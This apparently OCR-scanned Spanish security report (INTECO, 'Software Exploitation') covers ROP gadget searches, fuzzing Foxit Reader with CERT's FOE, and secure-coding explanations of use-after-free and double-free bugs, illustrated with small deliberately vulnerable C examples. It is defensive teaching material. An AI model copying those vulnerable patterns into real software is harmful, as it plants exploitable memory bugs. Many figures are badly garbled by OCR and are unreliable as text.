oL S T e 5 B W el L AR L P =

T e}

Algo similar a esto podemos hacer desde

G ol v 8 e name (abel) nwrentmodule cul+n OllyDbg gracias a la opcién “Search for All
Gigaiaiol 82 Fot E8t Name in all modules » . -

S e EREG | Backup v sequences” (ctrl+s) y sin necesidad de
Eigéigg% Gossms 18 E::EEE;[{”'“”R” T Copy »  Command Ctri+F . . .,
L Rea HEELEEEE‘&ELZ < Binary ' saeeofonments  coirs  Utilizar plugins de terceros. Con esta opcion,
G16910%,| GEG4Z4 FOODARDG| HOU Eux'nman P1 Assemble Space Constant d I H bI d I H

Label . Binary siring «s  podremos utilizar variables del tipo RA, RB,
B 5 Hlooere 2 BERER T Comment All ntermodular call etc. para definir el tipo de instruccién/nes que
B Bum e B aom gy Breakpoint " Al commands ; ;

jafoct oo Jootatoc BOD ESP 60 Run trace 4 neCGSItamOS POI’ EJemp|O, en caso de
o A A e : : ” :

Siiers Rl i ooty M ER S New origin here  Clrl+Gray* | Al constants necesitar una instruccion de tipo pop pop ret
soen S e I Goto b Allsvitches it .

5103107 Snafos- el asnoe bR Eoy, D00 B Thread » All referenced text strings eSCI'IbIrIamOS

oD EST!uEkD 1 Follow in Dump

e User-defined label
R S | e —— Popra Poprb Ret
Figura 20. Search for All sequences (OllyDbg) En el caso de ROP gadgets, si

necesitaramos por ejemplo una instruccion

del tipo pop [registro], add esp, [valor], ret definiriamos el filtro siguiente:

Julal

ﬂﬂ SN T IRES

L|E|M|TWH c|/[K|B[R][...

Bl

a1

o —
B1B91EEL| w7 7R JEE SHORT ShellHoo.@1@91150

B1E31BES| EE PUSH EEP pop ra

B18316ES ) PUS

G16216E6| FFIS PRE1GRA1 CnLL DldDRD FTR DS: [<&KERNELZZ. add esp, CONST
B1B31BED| SBCE FOL_ECH, ERX

BLE31BEE| SECT TEST ECY, ECH ret

GiEo1eFE| £34C24 18 MOU DWORD PTR S5: [ESP+181,ECH

B16918F4| w75 18 JNZ SHORT She llHoo. B18911b8

Figura 21. Gadget (Ollydbg)

Aunque obviamente estas soluciones quedan muy lejos del potencial ofrecido por mona.py
pueden ser Utiles en algunas ocasiones. Para ver un ejemplo practico de ROP gadgets con
mona.py se recomienda el post “Universal DEP/ASLR bypass with msvcr71.dll and

mona.py” %

2T Universal DEP/ASLR bypass with msvcr71.dll and mona.py

http://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/

Software Exploitation 18



&

Instituto Nacional
OBIERM MINISTERID
(E;)Emg DE INDUSTRIA, EMERGIA |nTeCO de Tecnologias
T TURIEMO de la Comunicacién

4.2. FAILURE OBSERVATION ENGINE: FOXIT CRASH

FOE® es una herramienta automatizada de fuzzing desarrollada por la gente del CERT
Coordintation Center (www.cert.org) con la que podremos descubrir vulnerabilidades en
gran variedad de aplicaciones para plataformas Windows. Para ello, FOE lleva a cabo
mutational fuzzing, técnica que consiste en realizar multiples modificaciones sobre el/los
fichero/s de entrada (a los que denominara seeds) de la aplicacion que estamos auditando
para intentar producir un crash en la misma. En el caso de producir dicho crash, FOE
utilizard la extension de Microsoft !exploitable Crash Analyzer para valorar la
explotabilidad de la misma. Ademas, asociara dicho crash con un hash uUnico para
diferenciar entre los diversos tipos de bugs encontrados. FOE utiliza dos técnicas para
detectar crash, bien a través del "Console Debugger" (cdb) o hookeando el exception
dispatcher (KiUserExceptionDispatcher) en modo usuario (testeado Unicamente en 32-bit
Windows XP y Windows Server 2003).

FOE dispone de un excelente asistente de instalacion, el cual nos ayudara a descargar
Python, asi como las bibliotecas SciPy/NumPy (bibliotecas de algoritmos matematicos
comunmente utilizada por aplicaciones de ingenieria) y las "Debugging Tools For
Windows". Es altamente recomendable instalar FOE en una maquina virtual debido, entre
otras razones, al elevado nimero de ficheros temporales que éste puede generar en el
sistema durante la fase de fuzzing.

Para poner en marcha FOE Unicamente necesitamos establecer ciertos pardmetros desde el
fichero de configuracion c:\FOE\configs\foe.cfg y posteriormente ejecutar foe.py desde la
linea de comandos. Veamos un ejemplo. Supongamos que queremos auditar la version
4.1.1 del lector Foxit. Lo primero que tenemos que configurar es el fichero de configuraciéon
configs\foe.cfg desde el que

especificaremos qué aplicacion y qUé [} o oprions rite
. . . #
propiedades de fuzzing y debugging [#asrsesse
aplicaremos sobre el mismo. Como |trureptiens]
. . # command Tine for target app. double quote paths/arguments with spaces
se observa en la imagen adjunta,
especificaremos la ruta del ejecutable

# [[filename]] is replaced with the fuzzed input filename
# %(localfuzzdir)s is replaced with the localfuzzdir option below
#

# If one of the input files is "de.ppm’ and localfuzzdir is 'c:\fuzzdir’,
# the below arguments will generate the following command Tine:

de FOX|t Reader desde Ia OpC|én # “C:\program Files\Foxit software\Foxit Reader\Foxit Reader.exe” "C:\foe\fuzzdir\ie.ppm" ie.bmp

cmdline = "C:\Program Files\Foxit software‘\Foxit Reader)\Foxit Reader.exe” "%(localfuzzdir)s\[[filename]]" |

cmdline, el directorio (dentro del = : , : =
L. A # if you always want to rename the input file to something specific before

# rename_inputfile = stat'icnamé.ppm

deflnIdO en OUt Utdll' en eI ue se # feeding it To the target app, define this option

guardaran todos los crash fafa ey ™ oY

encontrados desde la opcidn runid y (&eerfoe,iieraign per seed file

el nimero de iteraciones que sufrird [;,eing freracion per seed file

cada uno de los ficheros de entrada flasapionofseed filee

que le pasaremos a Foxit y l0s cuales  casking testcases are copied to [outpurdirl/[runid]/[F1enane]

se almacenaran en el directorio
especificado por seedsdir. Figura 22. configs\foe.cfg

% CERT Failure Observation Engine (FOE) v1.0
http://www.cert.org/download/foe/
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Las opciones mas interesantes en el
apartado fuzzer serdn el min/max
ratio, los cuales se refieren al indice
de mutabilidad que sufriran cada uno
de los seed suministrados a Foxit.

Valores mas altos en max_ratio
producirdn mayor nivel de mutabilidad
durante el proceso de fuzzing. En
nuestro caso dejaremos dichos valores
a los prefijados por defecto. Como
vemos en los comentarios un 0,01 de
max_ratio producira una modificacién
de 1% de los bits de cada seed.
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[fuzzer]

# which fuzzer strategy to use for this run?
# default options: bytemut, bitmut, wave, swap, copy
fuzzer = bytemut

# minimum amount of file mutation:
# 0.00001 means that 0.001% of the bytes in the file will be fuzzed

min_ratio = 0.00001 |

# maximum amount of file mutation:
# 0.01 means that 1% of the bytes in the file will be fuzzed
ax_ratio = 0.01

# set to True to only mangle ranges of the file in the range_list
use_range_list = False ;mangle entire file

# Python style list of ranges to mangle in the seed file
# [{SXO0.0XBO],[OX90,0X4OO ] mangles bytes 0x00->0x80 and 0x90->0x400
range_list = [[0,0x400]]

HEHERBRRRHR R RRBHR R R RRARBRRRRRBRR R R RRERERRRRRRB R RRBRBHRRRERE

# RUNNER OPTIONS
BRESEBERERERRER BB BRRBRBEBRRBRRERRRRBHRBRRER BB BHRERRBR U R RREREH
[runner]

# which runner to use

# default options: winrun (hook), nullrun (pass to debugger always)
# winrun is_only compatible with 32-bit windows XP and Server 2003
runner = nullrun

# hide program output (stdout and stderr)?
hideoutput = False

# maximum winrun program execution time (seconds):

Figura 23. configs\foe.cfg

# the

FEFEREERARIRR AR AR R AR AR AR R R R R R R R AR R R R R
# RUNNER OPTIONS
FEFEREERARAR R AR R R R R R R R R R R R R
[runner]

# which runner to use
# default options: winrun (hook), nullrun (pass to debugger always)
# winrun is only compatible with 32-bit windows XP and Server 2003
runner

= nullrun

# hide program output (stdout and stderr)?
hideoutput = False

# maximum winrun program execution time (seconds):

runtimeout =

# exceptions we care about
ook casts a wide net for exceptions (see hooks/winxp/d1Imain. cpp)
# use this to further 1imit which exceptions you care about
exceptions = [0xC0000005,0xC000001D,0xC0O000096,0xC0000094 ,0xCO0000FD]

#RAREFEFF SRR FF AR AR AR A SRS RS R AR SRR RS RS RS RARSR AR SRS

# DEBUGGER OPTIONS

?ﬁ#ﬁ############################################################
ebugger

# which debugger to use
# default options: msec (cdb + !exploitable)
debugger = msec

# maximum nullrun / debugger execution time (seconds):
# Use windows debug heap. Enabling the debug heap may change the

# behavior of the application, but heap corruption is detected sooner
debugheap = False

#EFFSFFEFREESR ARG R R R R RS R

Por ultimo modificaremos el valor
runtimeout dentro de las opciones
runner y debugger. En el primer caso,
este valor se refiere al niumero de
segundos que transcurriran antes de
matar la aplicacion y pasar a la
siguiente iteracion (en el caso de no
haberse producido un crash). Como
valor de debugger runtimeout suele
especificarse el doble del runtimeout
anterior debido al delay generado por el
debugger al analizar el proceso.

Figura 24. configs\foe.cfg

Si se observa la opcion debugger, vemos que por defecto se encuentra la opciébn msec, el
cual utilizara el console debugger junto a la extension !exploitable con la que analizar el bug.

Por ultimo, antes de lanzar foe.py copiaremos algun fichero .pdf (time.pdf) dentro del
directorio c:\foe\seedfile\pdf, el cual servir4 de seed para cada una de las iteraciones.
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|(_3:\FOE)Poe -py ./configs/foe.cfg

loaded inpucfile: musica.m3u iveration: @ from state.txt

Couldn’t find musica.m3u,

starting with time.pdf

wxx input file time.pdf starting on iteration B »oee

Command line:
nfoesfuzzdirstime . pdf "'
input file hash:

e nput file:

: [ 7 1] unigcrashes:

5411 cure:
[1]1 total I |
[1541]1 min: [15411
: [1] total miss:
st [1541] min: [1541]1 cure:
: [1] total miss: [3
t: [1541] mi
s [1]1 total
tart: [1541]1 min:
: [11 total miss:
: [15411]
total
: [15411]

cure:

[214] curr:
[23]1 curr:
cuprme:
curer:

cuprr:

curer:
H

ch228a5a9c481fBe4851858h225a8889
pexlnput file: time.pdf Iteration: @

time.pdf Iteration: 1600

3

[a1

[1811 chance =
1 7 21 unigcrashes: [8]
[1831 chance =
[2 » 3] unigcrashes: [8]
[214]1 chance = [@.

7/ 41 unigcrashes: [8]

[93]1 chance = [B.50888]1 miss:
: [3 7/ 5] unigcrashes: [11]
[48]1 chance = [B.
6] unigcrashes:
[54]1 chance =
71 unigcrashes:
[4B8]1 chance =
81 uniqcrashes:
[21]1 chance =
91 unigcrashes:
[22] chance =

494621
.494621
.494621
500001

[11
[11
[11

[11
.508688 1

Figura 25. foe.py ./configs/foe.cfg

: [8 7/ 181

"G:\Program Files\Foxit Software:Foxit Reader“Foxit Reader.exe' "

136

target._
/ 181 target
7/ 18] target _s

7/ 18] target

18] target_gue
181
181
161
181

target_gues
target _gues
target_gues
target _gues

18] target_gues
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Posteriormente, y una
vez configurado
foe.cfq, ejecutamos
foe.py desde la consola
de comandos,
especificando como
parametro dicho fichero
de configuracion. A
partir de ese momento
comenzard el proceso
de fuzzing, donde
observaremos como se
abre y se cierra Foxit
con cada una de las
versiones generadas
del fichero time.pdf.

En nuestro caso, cerca
de la iteracion 100, Foxit

se cierra inesperadamente pasando a manos del debugger, el cual lo cataloga con un nivel
de explotabilidad UNKNOWN. A partir de ese momento comienza el proceso de minimize
crash(es), que se encargara de calcular el nimero de bytes que necesitan ser modificados
para reproducir dicho crash y que resultara de gran utilidad para deducir el motivo del DoS

de la aplicacion.

Si ahora accedemos al directorio C:\foe\crashers\tvp (que especificamos desde la variable
runid ) observaremos el siguiente contenido:

tvp
PROBABLY_EXPLOITABLE
UMKMNOWMN
034313633 ¢.0:09586325

debuggers

fuzzdir

fuzzers

fuzzteols

hooks

loggers

m

PROBABLY_EXPLOITABLE

01/07/2012 21:31

Carpeta de archivos

UMEKNOWN 01/07/2012 21:58 Carpeta de archivos
| @ foe 01/07/2012 21:49 Archivo CFG 4 KB
|| state 01/07/2012 21:58 Documento de tex... 1KB
| uniqueleg 01/07/2012 21:58 Documento de tex... 1KB
| state - Bloc de notas = e
Archive Edicion Formato Ver Ayuda
jcime. pdf
124

Figura 26. Fichero state.txt

Vemos que se han generado varios ficheros. Por un lado, una copia del fichero de
configuracion foe.cfg y, por otro, el fichero state.txt indicAndonos el nombre del seed que
generd el crash asi como la iteracién en la que se produjo (Util si lo que queremos es
reproducir el mismo). El fichero uniquelog.txt describe cada uno de los crash generados con
su correspondiente hash. En ocasiones estos valores pueden darnos una idea sobre el
origen de los bugs encontrados (por ej. si tienen cierta similitud puede deberse a la misma

vulnerabilidad).
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Por ultimo, encontraremos un directorio que se correspondera con la clasificacién reportada

por lexploitable, en nuestro caso UNKNOWN.
Carpetas w | Mombre : Fecha modificacidén  Tipo Tamafio
| tvp « | i |timepdfl124.0:00000010 01/07/2012 21:58 Archivo 0X00000010 50 KB ¢
, PROBABLY_EXPLOITABLE |7 tirne,pdf.124.0:00000010 01/07/2012 21:58 Archivo MSEC TKB
y UNKNOW[\I |7 time, pdf 01/07/2012 21:58 Archivo ORIGINAL 50 KB
. 004313633¢.0x09586325

Figura 27. Seeds generados

Dentro del directorio tendremos subdirectorios correspondientes a cada uno de los crash

generados por

nuestra aplicacion. Cada uno de estos subdirectorios contendra el seed

original y el modificado que generd el DoS de la aplicacion. Podemos ver las diferencias
entre ambos ficheros con herramientas como WinMerge para comprobar la mutabilidad que
llevo a cabo FOE y que produjo dicho crash.

@ WinMerge - [time.pdf.original - time.pdf.124.0x00000010]
| § Archivo Editar Ver Combinar Herramientas Plugins Ventana Ayuda

0BE|» | HE 8 EF| Z| |

| tme pef criginal - time.pf 124 0000000 |
Panel de ubicaciin x '* CAFDE\crash

|7 ae

ers\tvp\ UNKNOWN\0x4313633¢.0:09586325\time. pdf.original

[E=E(HoB )

=& x

C\FOE\crashers\tvp\ UNKNOWNY 054313633 c 0x09586325\time. pdf.124.0:00000010

| | [sPDF-1.4
24510

endob]

xref

13 50
0000000016
0000001550
0000001665
0000002197
0000002228
0000002360
0000002495
0000002529
0000002641
0000002751
0000003699
0000004571
[

13 0 ob] <</Linearized 1/L 50912/0 15/E 27621/N 2/T S0605/H [ 1296 2!

00000 n
00000 n
00000 n
00000 n
00000 n
00000 n
00000 n
00000 n
00000 n
00000 n
00000 n
00000 n

PDF-1.4
8310

endob]

uref

13 50
0000000016
0000001550
0000001665
00000021md
0000002228
0000002360
0000002495
0000002529
0000002641
0000002751
2000003699
0000004571
<

13 0 ob] <</Linearized 1/L 50912/0 15/E 2762H/N 2/T S0605/H [ 1296 2!

00000 n
00000 n
00000 n
00000 n
00300 B
00000 n
»0000 1
00000 n
00000 n
00000 n
0000 |
000%0 B =

Figura 28. WinMerge: PDF original VS PDF modificado

Ademas de los ficheros comentados anteriormente, también nos encontramos con el fichero
MSEC, que se corresponde con la salida generada por el debugger y que nos ofrecera
informacién mas precisa sobre el crash de la aplicacién. En este caso, parece ser que Foxit

generd una excepcién debido a un access violation

ModLoad:
ModLoad:
ModLoad:
ModLoad:
ModLoad:
ModLoad:
ModLoad:
ModLoad:

74600000
75b30000
75020000
6db20000
75b50000
740d0000
770d0000
77290000

747ab000
75b44000
7505b000
6db34000
75b6e000
7418a000
77154000
7741a000

D\wWindows\system32\Secur32.d11
D\Windows\system32'rsaenh. dl11
D\wWindows\system32hasycfilt.dl]
D\Windows\system32\USERENV.dT]
D\Windows\system32\PROP5YS.d11
\Windows'\system32\CLBCatq.DLL
windows'system324\ SETUPAPI. d11

alalalalalalnlal

(e74.2c0): [Access

First chance exceptions are reported before any exception handling.

vioTation

- code c0000005 (first chance)]

This exception may be expected and handled.
eax=00000000 ebx=033ed610 ecx=00000000 edx=00000006 esi=00000000 edi=00000000

eip=004808la esp=0012f698 ebp=00b34788 iopl=0
es5=0023
®#% ERROR: Symbol file could not be found

cs=001b

s5=0023

ds=0023

fs=003b gs=0000

FoxitrReader_Lib_Public+0x808la:
0048081a 8b&f10

eip=004808la esp=0012f698 ebp=00b34788 iopl=0
es=0023

cs=001b

s5=0023

mow

ds=0023

D\wWindows\winsxs'\ x86_microsoft.windows. gdiplus_6595b64144ccf1df_1. 0.6001.18000_none_

nv up ei pl zr na pe nc
ef 1=00010246
pefaulted to export symbols for FoxitReader_Lib_Public.exe -

ebp,dword ptr [edi+10h] ds:0023:00000010="7777777
0:000> cdb: Reading initial command 'r;'exploitable -v;q'
eax=00000000 ebx=033ed610 ecx=00000000 edx=00000006 esﬁ=00000@00 edi=00000000

fs=003b gs=0000

FoxitReader_Lib_Public+0x808la:
0048081a 8b&f10

mov

nv up ei pl zr na pe nc
ef 1=00010246

Figura 29. Debugger output

Software Exploitation

22



Instituto Nacional

1 GOBIERMND MINISTERID . lnTeco de Tecnolo
- gias
ﬁ DIE ESPARIA DE INDUSTRIA, EMERGIA de la Comunicacién

¥ TURISMO

Para un andlisis més exhaustivo podemos utilizar el seed generado en la iteracion 124 y
llevar a cabo las modificaciones oportunas para recrear el bug e intentar buscar alguna
forma de explotarlo En este caso, dicho bug puede ser aprovechado para ejecutar cédigo
mediante un SEH overwrite. Esto es precisamente de lo que se aprovecha el exploit
disponible en exploit-db* creado por SudoO.

Como vemos, FOE es una excelente herramienta para testear la resistencia de una
aplicacion frente a ficheros de entrada corruptos, lo que la convierte en un filon para detectar
vulnerabilidades que pueden tener grandes consecuencias. Considera utilizar FOE para
testear aplicaciones susceptibles de este tipo de bugs antes de lanzarlas a un entorno de
produccién. Para mas informacion se recomienda el video® de Jared Allar, donde se
muestra en detalle el uso de FOE para explotar una vulnerabilidad en LibreOffice 3.3 “Lotus
Word Pro”.

® Foxit Reader 4.1.1 Stack Buffer Overflow Exploit
http://www.exploit-db.com/exploits/15532/

* youtube: Failure Observation Engine (FOE) tutorial
http://www.youtube.com/watch?v=kraczmgAmgo
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5. ERRORES SIMPLES, CONSECUENCIAS GRAVES

Muchas veces el programador, ajeno a aspectos relacionados con la seguridad, no es
consciente de las implicaciones que puede tener un simple puntero no liberado
correctamente; 0 las consecuencias que un array, cuyos limites no han sido
cuidadosamente controlados, pueden acarrear en un sistema. Errores de este tipo no son
para nada nuevos®', pero siguen predominando como una de las vulnerabilidades mas
extendidas en lenguajes como Fortran, C, C++ o0 ensamblador. El uso de bibliotecas
estandar que hacen uso de funciones como gets, strcpy o scanf deberia de evitarse en toda
regla ademas de tener en cuenta otra serie de errores que pueden tener consecuencias
similares.

Para entender las implicaciones que tienen este tipo de errores, el programador debe de
entender en profundidad otros aspectos ajenos al lenguaje utilizado, y los cuales seran de
gran importancia no solo para prevenir errores como los que veremos a continuacion sino
para implementar contramedidas a nivel de compilador y del sistema operativo con lo que
mitigar gran variedad de ataques. Algunos de estos aspectos estan relacionados con la
gestién de memoria del S.0O, la pila (stack), gestidon de procesos, hilos, llamadas al sistema
(syscalls), arquitectura subyacente, etc.

Dificilmente el programador va a entender como le puede afectar un desbordamiento de
buffer si desconoce el funcionamiento del stack. Asimismo, dificiimente entenderia la
proteccién que le proporcionaria compilar cierto programa con el flag /GS (GuardStack) si
desconoce lo que son las canary/stack cookies, o utilizar /SAFESEH si desconoce como
trabaja DEP y los manejadores de excepciones (exception handlers). Lo mismo ocurre con
medidas como NX/XD, ASLR, SEHOP, etc.

En la introduccion del informe se comentd que los errores de tipo “buffer overflow” se
conocen desde los afios 80; errores, por tanto, mas que conocidos hoy en dia y que
raramente deberian aparecen en software profesional. Hagamos sin embargo una
busqueda desde Metasploit (v4.4.0-dev) para mostrar el listado de exploits relacionados
con sistemas SCADA.

% Youtube Video: Hackers Testifying at the United States Senate, May 19, 1998 (LOpht Heavy Industries)
http://lwww.youtube.com/watch?feature=player_embedded&v=VVJldn_MmMY
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Figura 30. Buffer Overflow en Software SCADA

Lo interesante de este listado es que practicamente el 90% de los exploits se aprovechan de
desbordamientos de buffer. Algunas de estas vulnerabilidades no se alejan demasiado en
cuanto a complejidad del ejemplo visto en el apartado 4.1. Si nos fijamos en la descripcién
del exploit ICONICS WebHMI32, sistema de monitorizacibn SCADA a tiempo real, el mismo
es vulnerable al no comprobar la longitud de uno de los parAmetros recibidos a través de su
ActiveX, permitiendo escribir codigo directamente en el stack.

Si errores tan conocidos predominan hoy en
dia en sistemas tan criticos como son los
SCADA, parece mas que evidente que
muchos desarrolladores y analistas de
software siguen sin considerar la
seguridad como un aspecto fundamental
a vulnerability found in ICONICS WebHMI's en el desarrollo de software, aun cuando
desde dicho software es posible controlar
valvulas de agua, sistemas eléctricos o

cualquier tipo de autémata industrial.

Figura 31. Descripcién exploit ICONICS WebHMI's ActiveX

Uno de los casos mas representativos que
mejor refleja las consecuencias que puede acarrear una mala praxis en el desarrollo de
software fue la maquina de radioterapia Therac-25%, producida por la Atomic Energy of
Canada Limited (AECL) en los afios 80. Dicha maquina fue la causante directa de al menos
seis muertes como consecuencia de una sobredosis masiva de radiacion.

% wikipedia: Therac-25
http://en.wikipedia.org/wiki/Therac-25
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Therac-25 tenia por objetivo ofrecer un tipo de terapia que aplicaba bajas dosis de
electrones de alta energia (de 5 MeV a 25 MeV). Debido a una condicion de carrera (race
condition) , junto a otra serie de problemas relacionados con el software embebido de dicho
equipo, pacientes recibieron dosis 100 veces superior a la esperada. Si esto ocurria hace
mas de 20 afios, podemos hacernos una idea de la cantidad de dispositivos de los que hoy
en dia dependemos y que por tanto pueden ser susceptibles de ser comprometidos. Véanse
a modo de ejemplo los siguientes casos:

- Pacemakers and Implantable Cardiac Defibrillators: Software Radio Attacks and Zero-Power
Defenses
http://www.secure-medicine.org/icd-study/icd-study.pdf

- SCADA & PLC Vulnerabilities in Correctional Facilities
http://www.exploit-db.com/download pdf/17979

- On the Requirements for Successful GPS Spoofing Attacks
http://www.syssec.ethz.ch/research/ccs139-tippenhauer.pdf

- Barnaby Jack Ingeniously Hacks ATMs at Black Hat
http://www.aolnews.com/2010/07/29/barnaby-jack-ingeniously-hacks-atms-at-black-hat-video/

- Taking Control of Cars From Afar
http://www.technologyreview.com/news/423292/taking-control-of-cars-from-afar/

Sin ir mas lejos, el pasado mes de Mayo Metasploit publicé un par de médulos encargados
de explotar varias vulnerabilidades en dispositivos criticos
(cctv_dvr_login y telnet_ruggedcom®). Dichas vulnerabilidades no se aprovechaban de un
buffer o integer overflow, como las que veremos a continuacién; sin embargo, no contaban
con controles adecuados para evitar ataques por fuerza bruta con los que conseguir cuentas
validas, ni contaban con controles estrictos para prevenir accesos no autorizados. Disponer
de conocimientos rigurosos en programacion segura, ademas de tener en mente las
acciones ofensivas que un atacante puede intentar en tu software, ayudara a prevenir
multitud de problemas posteriores. El presente apartado tendra por objetivo mostrar
algunos de los errores mas comunes que todavia hoy en dia siguen generando serios
problemas de seguridad: heap/buffer overflow, use-after-free, off-by-one, format-string,
Integer overflows/underflows, memory leaks, etc. La idea es explicar de forma practica
cémo se producen dichos errores, qué implicaciones pueden tener y algunos consejos para
evitar este tipo de vulnerabilidades.

Nota: La pagina “CERT Secure Coding Standards™* de cert.org sera una excelente referencia en

la que se definen estandares de programacién segura para lenguajes como C, C++, Java, and Perl.

3 Weekly Metasploit Update: CCTV, SCADA, and More!
https://community.rapid7.com/community/metasploit/blog/2012/05/17/weekly-metasploit-update

3% CERT Secure Coding Standards
https://www.securecoding.cert.org/confluence/display/seccode/CERT+Secure+Coding+Standards
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5.1. HEAP OVERFLOW

Segun observamos en los informes de vulnerabilidades que periddicamente publica
INTECO-CERT, gran parte de las vulnerabilidades relacionadas con la memoria dindmica
se corresponden a fallos de programacién que encajan en alguna de las siguientes
categorias: use after free, double free y dereference after free. La mala praxis a la hora
de utilizar funciones relacionadas con la memoria dinamica (como malloc o free) suelen ser
el origen de este tipo problemas. Aprender no solamente buenas practicas de programacion
si no también conocer como funciona la asignacién de memoria dinamica es vital para
entender de qué forma el heap puede ser aprovechado para ejecutar un shellcode con el
gue comprometer un equipo.

5.1.1. Use After Free

Las vulnerabilidades conocidas como use after free (dangling pointer), catalogado con el
CWE®* (Common Weakness Enumeration) 416, ocurren cuando un programa continda
utilizando un puntero después de que éste haya sido liberado, asi de sencillo. Los
navegadores web suelen ser propensos a este tipo de vulnerabilidades® cuyas
consecuencias pueden afectar directamente a la integridad y disponibilidad de la
aplicacion y que, a diferencia de vulnerabilidades como buffer overflow, son complejas de
detectar mediante andlisis estatico. Generalmente este tipo de bugs se producen debido a
errores de condicion o a errores en la logica del propio programa encargado de liberar y
reservar memoria. Este tipo de error podria permitir a un atacante ejecutar cédigo en el
equipo objetivo utilizando técnicas como heap spraying®. El exploit publicado por Vupen en
la Pwn20wn con el que eludia DEP y ASLR en Chrome se aprovecha de una vulnerabilidad
use-after-free al igual que el publicado para IE. Otros exploits como Aurora (también
conocido como Hydraq), el CVE-2011-4130 que afectaba al servidor ftp ProFTPD® o la
reciente vulnerabilidad en el motor de navegacién Web WebKit** de Safari son algunos de
los multiples ejemplos de vulnerabilidades de este tipo.

* What Is CWE?

http://cwe.mitre.org/about/index.html

Making Money, Pwning Browsers

http://www.hardwarecanucks.com/news/making-money-pwning-browsers/

Exploit writing tutorial part 11 : Heap Spraying Demystified

https://lwww.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/

% Technical Analysis of ProFTPD Response Pool Use-after-free (CVE-2011-4130)
http://www.vupen.com/blog/20120110.Technical_Analysis_of_ProFTPD_Remote_Use_after_free_CVE-2011-4130_Part_Il.php

¥ Multiple Vendor WebKit SVG Element Use After Free Vulnerability
http://www.vupen.com/blog/20120110.Technical_Analysis_of_ProFTPD_Remote_Use_after_free_CVE-2011-4130_Part_l.php

36

37
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int *get_pointer(int *ant) {

Veamos un ejemplo sencillo. La funcion int *b = (int *)malloc(sizeof(int)):
get_pointer recibe un puntero a entero (ant). Si if (ant == NULL) {
dicho puntero es NULL, el puntero local b sera }eﬁ;iegb)?
liberado. Sin embargo la funcion get_pointer *h = *ant;
devolvera b siempre; por tanto, en este caso (en }
return b;

el que ant sea NULL) podria generar algun tipo }

de problema si la funcion que recibe *b no

comprueba el “estado” del mismo antes de utilizarlo, produciéndose un use-after-free. Es
importante recordar que la funcion void free (void * ptr) se encarga Unicamente de
desasignar (deallocate) chucks de memoria previamente asignados a dicho puntero con
funciones como malloc, calloc o realloc, pero no modifica la direccién asignada al mismo,
es decir, que en el ejemplo, la direccién a la que apunta b después del free sigue siendo la
misma. Sin embargo la memoria en el heap asociada al puntero ahora forma parte de la lista
de chunk libres (FreeLists) a disposicion del heap manager para posteriores reservas.

51.2. Dereference After Free

Un caso concreto de use-after-free, denominado dereference after free es precisamente
cuando intentamos acceder a memoria dindmica previamente liberada como consecuencia
de un free().

Nota: El término dereference Unicamente se refiere a la accién de acceder a la variable a la
gue apunta el puntero en cuestion. Ej: int * ptr= &c; *ptr= 10;

e Desde la pagina del MITRE® pueden encontrarse ejemplos
#include <unistd.h> o ) N
#define BUFSIZER1 512 practicos sobre este tipo de vulnerabilidad.

#define BUFSIZER2 ((BUFSIZER1/2) - 8)
int main(int argc, char **argv) {

char *bufLR1: En el ejemplo de la izquierda, el puntero a char buf2R1 es
Cﬂaf :Euggéi liberado, aunque mas adelante se vuelve a referenciar
char *bu ; L )

char *buf3R2; desde la funcién strncpy. Como consecuencia, es probable
buflR1 = (char *) malloc(BUFSIZER1); ; ;

buf2R1 = (char *) malloc(BUFSIZER1). qye se. cor.rompan dato§ aS|gnados. posterlormgnte en
free(buf2R1); dicha direccion de memoria tras haber liberado la misma, o

buf2R2 = (char *) malloc(BUFSIZER2); . ., .
gue se produzca un crash de la aplicacion al intentar

bufsR2 = (char 3 malloc(BUESIZERD), sobreescribir “memoria aleatoria” en la que el proceso no
strncpy(buf2R1, argv[1], BUFSIZER1-1); . .

free(buflR1); tiene permiso.

free(buf2R2);

free(buf3R2);

}

“° CWE-416: Use After Free
http://cwe.mitre.org/data/definitions/416.html
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5.1.3. Double Free

El tercer tipo de vulnerabilidad relacionada con el int * ab = (int)malloc (SIZE):
heap es el double free. Aunque es complejo
aprovecharse de este tipo de errores para conseguir
ejecutar codigo, puede ser un fallo de graves }
consecuencias. Como su nombre indica, esta
condicion se da cuando se produce la liberacion de

un puntero mas de una vez (véase codigo adjunto)

if (c == 'EOF") {
free(ab);

free(ab);
Para entender las consecuencias que pueden tener este tipo de errores en nuestro sistema,

es importante entender la gestion que el sistema operativo hace del heap a la hora de
asignar y liberar memoria.

Tamano chunk anterior A diferencia de la pila, el heap divide la memoria dinamica en bloques
.. p de memoria denominados chunks, los cuales seran utilizados por
funciones como free o malloc. Cada uno de estos chunks contiene
una cabecera (8 bytes) donde se guarda el tamafio del chunk anterior,
el tamafio del actual y ciertos bits de datos. El bit menos significativo
! (PREV_INUSE) indica si el chunk anterior esta libre u ocupado. El
puntero *ptr de la imagen representaria la direccion de memoria
retornada por una llamada a malloc.

Figura 32. Chunk

Cuando el chunk es liberado mediante una llamada a free, éste es desasignado
produciendo los siguientes cambios en el mismo. Por un lado, el bit PREV_INUSE del
siguiente chunk es activado (indicando que el anterior chunk estd libre). Por otro lado, el
chunk actual afiade al cuerpo de datos dos nuevos punteros, los cuales apuntaran al
siguiente y anterior chunk libre. Ademas, aquellos chunks libres adyacentes son
fusionados en un Unico chunk con el propésito de conseguir bloques de datos mas
grandes

Tamario chunk anterior Tamario chunk anterior

Figura 33. Lista enlazada de chunks libres

Jugando con esta lista doblemente enlazada junto con otras listas, el heap manager es
capaz de gestionar memoria dindmica en runtime.
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Esta gestion resulta mucho mas compleja que la empleada por el stack a la hora de reservar
y liberar espacio, y es por este motivo por el que la deteccion de errores y vulnerabilidades
gue afectan al heap se vuelve realmente compleja. Utilizar herramientas de debugging

especializadas para analizar memoria dinamica sera de vital
importancia para prevenir errores criticos. Para informacion mas
detallada sobre la gestion del heap se recomienda el paper
“Practical Windows XP/2003 Heap Exploitation™" de John
McDonald y Chris Valasek presentado en la Blackhat USA 2009.

Considera el uso de !heap*® si utilizas WIinDBG* para
debuggear memoria dindmica. Con !heap -stat podremos
obtener ciertas estadisticas sobre los handlers de cada heap.
Otras opciones son 'heap -flt s para filtrar aquellas que tengan
cierto tamafo o 'heap -stat -h para mostrar estadisticas mucho

_HEAFP 00480000
Segnents
Reserved bytes
Committed bytes
VirtillocBlocks
Virtilloc bytes
_HEAP 00340000
Segment=
Reserved bytes
Committed bytes
VirtillocBlocks
